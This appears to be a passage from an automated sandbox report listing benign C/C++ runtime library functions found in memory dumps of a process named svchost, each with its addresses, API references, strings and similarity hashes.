Instruction ID: 9346f813515b5cc263236a014eeaf35b61154385402c6ee212c4e31d72301736
Opcode Fuzzy Hash: d3f36bbc446c031b1494e51522292c4762ff9e65adc87fca2ede405a53892a3b
Instruction Fuzzy Hash: E1317231205A8C80EB97EB55E4503D97361E75DBE0F088523FA1D5B795EF74C64AC320

Function 00007FF8B7E5D0C8 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 320COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF8B7E5D266
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B7E5D58F

Strings

csm, xrefs: 00007FF8B7E5D20F
csm, xrefs: 00007FF8B7E5D28D
csm, xrefs: 00007FF8B7E5D1AD

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 344f2ee5f36cf8ecc738f2453d404f25717f71f681be1496a6673ef6defbbf4a
Instruction ID: d4e949eef25b3bf3f7031ae2a469b156fd13c13a8ae1b866282c2d464a6a0f17
Opcode Fuzzy Hash: 344f2ee5f36cf8ecc738f2453d404f25717f71f681be1496a6673ef6defbbf4a
Instruction Fuzzy Hash: DEE159A29087CA8AEB20DF79D4902AD77A0EF45B98F144135EB8D576A6DF3CF481D700

Function 0000000180013398 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 320COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000000180013536
std::bad_alloc::bad_alloc.LIBCMT ref: 000000018001385F

Strings

csm, xrefs: 00000001800134DF
csm, xrefs: 000000018001347D
csm, xrefs: 000000018001355D

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 09061c508a1ae0f3615671025e62ab4cd117421c4418bf876ba3b41ae589aec8
Instruction ID: 5572aa5058cacb31777e9f42e4358755d0302e59a7991b7be8fe6299ada38bc6
Opcode Fuzzy Hash: 09061c508a1ae0f3615671025e62ab4cd117421c4418bf876ba3b41ae589aec8
Instruction Fuzzy Hash: 71E1AD73604B888AE7A2DF64D4813ED7BA0F349BC8F148116FA9957B96DF34C689C700

Function 00007FF8B7E6B82C Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF8B7E69121,?,?,?,?,00007FF8B7E6DFAC), ref: 00007FF8B7E6B83B
FlsSetValue.KERNEL32(?,?,?,00007FF8B7E69121,?,?,?,?,00007FF8B7E6DFAC), ref: 00007FF8B7E6B871
FlsSetValue.KERNEL32(?,?,?,00007FF8B7E69121,?,?,?,?,00007FF8B7E6DFAC), ref: 00007FF8B7E6B89E
FlsSetValue.KERNEL32(?,?,?,00007FF8B7E69121,?,?,?,?,00007FF8B7E6DFAC), ref: 00007FF8B7E6B8AF
FlsSetValue.KERNEL32(?,?,?,00007FF8B7E69121,?,?,?,?,00007FF8B7E6DFAC), ref: 00007FF8B7E6B8C0
SetLastError.KERNEL32(?,?,?,00007FF8B7E69121,?,?,?,?,00007FF8B7E6DFAC), ref: 00007FF8B7E6B8DB

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: e0b50fcdd9ec6024215fff5587b4a01775321340b1bf15208aa068bd75f238d4
Instruction ID: 41631125b5e9f00d4527314abc5c163629de4db1b76eb77d78d68d6e5945e997
Opcode Fuzzy Hash: e0b50fcdd9ec6024215fff5587b4a01775321340b1bf15208aa068bd75f238d4
Instruction Fuzzy Hash: 3B119D20E4C34246FA14A76A655103D26A26F44FF4F640738EB2E0B6F6DE2CF4415300

Function 0000000180021FDC Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,000000018001DCD9,?,?,?,?,000000018002475C), ref: 0000000180021FEB
FlsSetValue.KERNEL32(?,?,?,000000018001DCD9,?,?,?,?,000000018002475C), ref: 0000000180022021
FlsSetValue.KERNEL32(?,?,?,000000018001DCD9,?,?,?,?,000000018002475C), ref: 000000018002204E
FlsSetValue.KERNEL32(?,?,?,000000018001DCD9,?,?,?,?,000000018002475C), ref: 000000018002205F
FlsSetValue.KERNEL32(?,?,?,000000018001DCD9,?,?,?,?,000000018002475C), ref: 0000000180022070
SetLastError.KERNEL32(?,?,?,000000018001DCD9,?,?,?,?,000000018002475C), ref: 000000018002208B

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: c7d51651b2595947dbcb5706d977442ab66c20d674a131537a466c710906ecf2
Instruction ID: a97f47bade7485838d0cc01d9c3d0df3729229ef4914dda3a0d1b7cb201866e9
Opcode Fuzzy Hash: c7d51651b2595947dbcb5706d977442ab66c20d674a131537a466c710906ecf2
Instruction Fuzzy Hash: 5F11AF3130024C82FAEBA3A165953FA23825B4C7F1F00C725BC3A4A7D7DF69C61A8701

Function 00007FF8B7E538E0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E5394B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF8B7E53993
_Getctype.LIBCPMT ref: 00007FF8B7E539AB
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E53A3B

Strings

bad locale name, xrefs: 00007FF8B7E53A5E

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2967684691-1405518554
Opcode ID: 0e25d56cd96a8e81e64dca587b0501f1597cc70af5d7f07ac88ff3c8c5771695
Instruction ID: e5509e1d13fa6baa4ae519061892f6b8dc15c4e7edfbe73e7ff2d9697768cc9c
Opcode Fuzzy Hash: 0e25d56cd96a8e81e64dca587b0501f1597cc70af5d7f07ac88ff3c8c5771695
Instruction Fuzzy Hash: DE413B62B49B8589FB15DBB8D4502FC33A4AF44B88F444435DF4D26AAADF3CE516D340

Function 0000000180003B10 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000180003B7B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0000000180003BC3
_Getctype.LIBCPMT ref: 0000000180003BDB
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180003C6B

Strings

bad locale name, xrefs: 0000000180003C8E

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2967684691-1405518554
Opcode ID: eb706a7d71538215e8b234063abf579767d9457268c05fa478c9789e09655a59
Instruction ID: ceafd4770e8e21fc2c0b4dc4be3ebac80e57aed77cd48add880589150ca29c04
Opcode Fuzzy Hash: eb706a7d71538215e8b234063abf579767d9457268c05fa478c9789e09655a59
Instruction Fuzzy Hash: 3B41B232705B4889FB96DF71D4513EC3378EB48788F048025EE4967A9ADF34C61AD354

Function 00007FF8B7E55EA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E55EEB
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E55F10
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E55F3A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E55FCB

Strings

invalid string position, xrefs: 00007FF8B7E55EA4

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: invalid string position
API String ID: 593203224-1799206989
Opcode ID: e1746233e77a71a371fb4e57f646dfc60b12e05213bb77e4b70fa30e7dad00ff
Instruction ID: fa54e80cd87e31679cd8810b5c5eacf9503f109a5d8f0045c6ed92f57e180980
Opcode Fuzzy Hash: e1746233e77a71a371fb4e57f646dfc60b12e05213bb77e4b70fa30e7dad00ff
Instruction Fuzzy Hash: 10318862A08B8685EB61DB19E8402BD27A1FF98FC8F580432EB5D536B5DF3CF4618710

Function 00007FF8B7E6A10C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF8B7E6A131
GetProcAddress.KERNEL32 ref: 00007FF8B7E6A147
FreeLibrary.KERNEL32 ref: 00007FF8B7E6A16E

Strings

CorExitProcess, xrefs: 00007FF8B7E6A140
mscoree.dll, xrefs: 00007FF8B7E6A128

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: cdf642ca0ca63ad5e5a811e93e0d5fa77592f617fe42ce10793c0b350f0d4750
Instruction ID: 0f83f75309685c05154d7b33492aebe087f23708df15b45a5d3a1fedbae77670
Opcode Fuzzy Hash: cdf642ca0ca63ad5e5a811e93e0d5fa77592f617fe42ce10793c0b350f0d4750
Instruction Fuzzy Hash: 30F04FA1A18B0285FA148B28A85433D5764BF49FE5F541639C76D461F4CF2CE548C700

Function 0000000180020184 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000001800201A9
GetProcAddress.KERNEL32 ref: 00000001800201BF
FreeLibrary.KERNEL32 ref: 00000001800201E6

Strings

CorExitProcess, xrefs: 00000001800201B8
mscoree.dll, xrefs: 00000001800201A0

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e8212534f0f10028e69c9efd8b018b99b80ceb492f07a9207d9ccb95721ac0d6
Instruction ID: dcece8a08cd2262ae5fef94b32c2aee150c3ebbd70082b7793bdc48e8760421b
Opcode Fuzzy Hash: e8212534f0f10028e69c9efd8b018b99b80ceb492f07a9207d9ccb95721ac0d6
Instruction Fuzzy Hash: F0F06D71310B0D81EBA78B24E8443AF6320EB8D7E5F598319EA6E452F5CF2CC25C8300

Function 00007FF8B7E5C4C8 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF8B7E5C5EB
__AdjustPointer.LIBCMT ref: 00007FF8B7E5C636

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c8d37cb505838882202f4687c7357ea772c9265917a03047df41c223802e3e7a
Instruction ID: 3cf91946448191b0a7d429296d5ae0f868f65ede6dc5cff3aa5b50ba5a60ed8d
Opcode Fuzzy Hash: c8d37cb505838882202f4687c7357ea772c9265917a03047df41c223802e3e7a
Instruction Fuzzy Hash: 47B1AEA2A0ABCB81EB659A6D946067C63A0AF44FD4F099936DB4D0B7F5DF6CF4418300

Function 0000000180012798 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00000001800128BB
__AdjustPointer.LIBCMT ref: 0000000180012906

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: eb7b82083443841d740ec22d393d751d10807de93e0006e53110ee62bbd60475
Instruction ID: cb902b9e5c1c2b0f81ced4482594934baa0ed86c69649730dd792dff96225d43
Opcode Fuzzy Hash: eb7b82083443841d740ec22d393d751d10807de93e0006e53110ee62bbd60475
Instruction Fuzzy Hash: 05B19232206E8D85EBE7DF55D5807E96390EB4CBC4F09C426BE490B795EF34C6AA8340

Function 00007FF8B7E53230 Relevance: 7.7, APIs: 5, Instructions: 205COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF8B7E53448
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8B7E534C1
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B7E534C7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8B7E534D3
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF8B7E534FD

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task__std_exception_copy__std_exception_destroy
String ID:
API String ID: 1087005451-0
Opcode ID: debf27b282370f10c6b5e14b2d079a5be5bb25ef2c1b4cbffbc491d5b7eee198
Instruction ID: c3657735be20c5beabb817de4baf27a84a037bf9622b269b852e07fe1984669b
Opcode Fuzzy Hash: debf27b282370f10c6b5e14b2d079a5be5bb25ef2c1b4cbffbc491d5b7eee198
Instruction Fuzzy Hash: 60819462F18B8989FB119BA8D4013AC2361AF55BDCF508635DF6C16BA6EE3CA1958340

Function 0000000180003340 Relevance: 7.7, APIs: 5, Instructions: 205COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000000180003558
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800035D1
Concurrency::cancel_current_task.LIBCPMT ref: 00000001800035D7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800035E3
__std_exception_destroy.LIBVCRUNTIME ref: 000000018000360D

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task__std_exception_copy__std_exception_destroy
String ID:
API String ID: 1087005451-0
Opcode ID: 9e302384a994892b14c338989f44610b59b23556086e2d838521a12cd83998f5
Instruction ID: 359f40e78c038898da46ff25c5e1f499cd2119a7332b351f2d1f7e6cf094d697
Opcode Fuzzy Hash: 9e302384a994892b14c338989f44610b59b23556086e2d838521a12cd83998f5
Instruction Fuzzy Hash: F181D432B10F888AFB53CBA5E4413EC3365A7597D8F50C215BE6C16BDAEE749299C340

Function 00007FF8B7E7070C Relevance: 7.7, APIs: 5, Instructions: 196COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF8B7E7074B
_set_statfp.LIBCMT ref: 00007FF8B7E70769
_set_statfp.LIBCMT ref: 00007FF8B7E70792
_set_statfp.LIBCMT ref: 00007FF8B7E709CE

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 1987ed0a018f995d6972c12f2892edd849602d14477e4cd1f35715c56abac058
Instruction ID: 265e0da759a77c758c95dbf76e149c726a2d4485c8816f30a022f35e0c420ac8
Opcode Fuzzy Hash: 1987ed0a018f995d6972c12f2892edd849602d14477e4cd1f35715c56abac058
Instruction Fuzzy Hash: 6881E612D08B8649F6729B3DA44037E6A50EF95BD8F045331EB5E2A5B5DF3CF4818A40

Function 00000001800285D0 Relevance: 7.7, APIs: 5, Instructions: 196COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000000018002860F
_set_statfp.LIBCMT ref: 000000018002862D
_set_statfp.LIBCMT ref: 0000000180028656
_set_statfp.LIBCMT ref: 0000000180028892

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 484faf0e792035f25d0682de35324eefebdae18b18cf3f6d9f13a8873fe5f153
Instruction ID: 21b4a06bb7ed14b1b08c6171cf561cf1cc8027fa45ba08f9329529648e95c1c6
Opcode Fuzzy Hash: 484faf0e792035f25d0682de35324eefebdae18b18cf3f6d9f13a8873fe5f153
Instruction Fuzzy Hash: 6481E13A516A8C85F2F78B35A4403EBA350BF5D7D4F14C201BE46269E5DF34CB89AB00

Function 00007FF8B7E7B680 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF8B7E7B6A8
_set_statfp.LIBCMT ref: 00007FF8B7E7B6C3
_set_statfp.LIBCMT ref: 00007FF8B7E7B6DF
_set_statfp.LIBCMT ref: 00007FF8B7E7B71B

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: e65ba792651367d839098e214d5891407b2dde01c0b567b7a4e043ebbfca8b6f
Instruction ID: df416952a2ad569c8a7eb1f764e623f491a7cdd62fd7b022d6390b0baa388221
Opcode Fuzzy Hash: e65ba792651367d839098e214d5891407b2dde01c0b567b7a4e043ebbfca8b6f
Instruction Fuzzy Hash: EA117022E1CB4301FA58156CE4563BD1D616F94BF4F294735FB6E4A2F6DE6CA8808204

